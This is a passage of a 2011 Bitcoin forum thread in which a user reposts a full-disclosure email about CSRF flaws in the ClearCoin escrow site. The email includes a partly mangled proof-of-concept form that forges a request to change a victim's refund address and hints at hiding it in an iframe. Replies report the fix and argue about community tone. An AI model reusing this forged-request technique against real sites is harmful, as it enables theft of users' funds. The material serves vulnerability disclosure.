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Topic: [Full Disclosure] ClearCoin CSRFs - page 2. (Read 8734 times)

sr. member
Activity: 504
Merit: 252
Elder Crypto God
June 19, 2011, 08:16:32 PM
#10
this may sound petulant, and my apologies if it is, but i distinctly recall the user "s" pointing out in this forum the importance of cross-site request forgeries and the fact that many popular bitcoin-related websites were vulnerable to them. he (or she) then left the forum and deleted all his/her posts, having been pushed away by extreme libertarians.

this is another example of the tone of the forums posing a problem for the bitcoin community, which could benefit from a more inclusiveness, diversity of opinion, and politeness. if people had listened to "s" rather than dismissing that user's concerns as somehow hostile to bitcoin because they didn't 'toe the line', many problems could have been addressed months ago.

I take offense to lumping all of us libertarians together as if we are the problem. Please look over my post history and you will see that I simply don't engage in personal attacks or abusive behavior in general, even when viciously insulted. The people that are decrying anything that could devalue BTC are the people that are just into Bitcoin to make a few quick bucks. I'm in it for the long haul because I value economic freedom as a libertarian. I'd rather see the currency stabilize than make money. I have a source of income. I don't need to speculate. I also welcome disclosure of vulnerabilities because it puts pressure on administrators to fix the problem as well as notifies the community that they should think twice about trusting the keys to the kingdom without considering risk. Please rethink your opinion on libertarians because even when the speculators are long gone, we will still be here wanting to use this currency.
unk
member
Activity: 84
Merit: 10
June 19, 2011, 08:03:32 PM
#9
this may sound petulant, and my apologies if it is, but i distinctly recall the user "s" pointing out in this forum the importance of cross-site request forgeries and the fact that many popular bitcoin-related websites were vulnerable to them. he (or she) then left the forum and deleted all his/her posts, having been pushed away by extreme libertarians.

this is another example of the tone of the forums posing a problem for the bitcoin community, which could benefit from more inclusiveness, diversity of opinion, and politeness. if people had listened to "s" rather than dismissing that user's concerns as somehow hostile to bitcoin because they didn't 'toe the line', many problems could have been addressed months ago.
member
Activity: 70
Merit: 10
June 19, 2011, 07:56:32 PM
#8
Who trusts Gavin anyway?

Well... the FBI?  (conference) Wink

hero member
Activity: 630
Merit: 500
June 19, 2011, 07:55:25 PM
#7
You can make thousands of mistakes in web programming, but please!!! - don't fuck up with C++ Smiley

Hahah, never has a truer word been spoken!
newbie
Activity: 56
Merit: 0
June 19, 2011, 07:05:34 PM
#6
Great job guys
newbie
Activity: 67
Merit: 0
June 19, 2011, 05:43:15 PM
#5
Yes, don't trust me, please.  I am human and will make mistakes.

The CSRF vulnerability on ClearCoin is fixed. I will be contacting any ClearCoin customers who have changed their refund addresses to make sure that they were not the victim of a CSRF attack.


Thank you for your timely response and correction of the issue.
hero member
Activity: 558
Merit: 500
June 19, 2011, 05:40:52 PM
#4
You can make thousands of mistakes in web programming, but please!!! - don't fuck up with C++ Smiley
legendary
Activity: 1652
Merit: 2301
Chief Scientist
June 19, 2011, 05:36:13 PM
#3
Yes, don't trust me, please.  I am human and will make mistakes.

The CSRF vulnerability on ClearCoin is fixed. I will be contacting any ClearCoin customers who have changed their refund addresses to make sure that they were not the victim of a CSRF attack.
newbie
Activity: 28
Merit: 0
June 19, 2011, 05:33:25 PM
#2
Who trusts Gavin anyway?
newbie
Activity: 67
Merit: 0
June 19, 2011, 05:26:45 PM
#1
Code:
From: Doug Huff 
Content-Type: multipart/signed; protocol="application/pgp-signature";
micalg=pgp-sha1; boundary="Apple-Mail-2--499212877"
X-Smtp-Server: smtp.gmail.com:[email protected]
Subject: Bitcoin fun day!
Date: Sun, 19 Jun 2011 16:54:28 -0500
X-Universally-Unique-Identifier: 52968483-4027-4d0b-9145-dc72230ee50c
Message-Id: <[email protected]>
Cc: Bitcoin Dev
To: [email protected]
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In light of recent events in the "bitcoin community" I have decided that =
private disclosure of issues is doing nothing but making them more =
prevalent.

In light of this decision I would like to report multiple CSRF =
vulnerabilities in http://clearcoin.appspot.com .

This set of CSRFs are particularly nasty since this is hosted on appspot =
and uses google account auth. So long as you stay logged into your =
google account you are vulnerable to this CSRF.

Things tested:
  Changing refund address.
  Releasing funds.

POC code (open this in any browser even from a local file):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
test
  
  
action=3D"https://clearcoin.appspot.com/set_refund_address" =
method=3D"POST">=20
      =20
      size=3D"60" value=3D"PUT ANY ADDRESS HERE"
             class=3D"text ui-widget-content ui-corner-all" autofocus =
required placeholder=3D"refund bitcoin address"/> (required)
  
=20
  

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Javascript auto submittal, hiding in an iframe, and other obfuscation =
methods are left as an exercise to the list.

This site is run and maintained by Gavin Anderson, aka, the lead bitcoin =
maintainer.

You should know better Gavin.

--=20
Douglas Huff



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http://sourceforge.net/mailarchive/forum.php?thread_name=2B2201C1-E59F-47D4-BF67-08FDB0DDE386%40jrbobdobbs.org&forum_name=bitcoin-development

Sorry Gavin.

(Gavin has already pulled clearcoin offline to address the issue.)

Edit: Adding f-d link for posterity.
http://lists.grok.org.uk/pipermail/full-disclosure/2011-June/081574.html
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